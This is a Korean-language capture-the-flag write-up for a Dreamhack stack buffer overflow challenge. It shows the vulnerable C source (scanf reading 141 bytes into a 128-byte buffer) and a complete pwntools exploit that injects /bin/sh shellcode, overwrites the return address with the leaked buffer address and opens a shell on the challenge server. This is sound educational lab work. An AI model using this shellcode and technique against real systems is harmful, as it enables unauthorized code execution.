환경정보를 보면 어떤 보호기법도 적용되지 않고 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
문제 소스코드를 보면 buf는 0x80byte 할당되었지만 scanf로 141byte를 입력받고 있다.
여기서 BOF를 발생시킬 수 있다.
gdb로 분석해보면 scanf로 입력받은 데이터는 ebp-0x80에 위치하게 된다.
따라서 다음과 같이 payload를 작성할 수 있다.
shellcode + dummy(0x80byte-len(shellcode)) + sfp(4byte) + return address
아래처럼 exploit코드를 작성하면 flag를 얻을 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', 23815)
p.recvuntil('buf = (')
buf = int(p.recv(10),16)
shellcode = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = ''
payload = shellcode
payload += 'A'*(0x80-len(shellcode)) + 'BBBB'
payload += p32(buf)
p.sendline(payload)
p.interactive()
scanf는 특정 문자(\x09, \x0a, \x0b, \x0c, \x0d, \x20)를 입력받지 못한다.
따라서 자주 사용하는 25byte 쉘코드가 아니라 해당 문자가 들어있지 않은 쉘코드를 사용해야한다.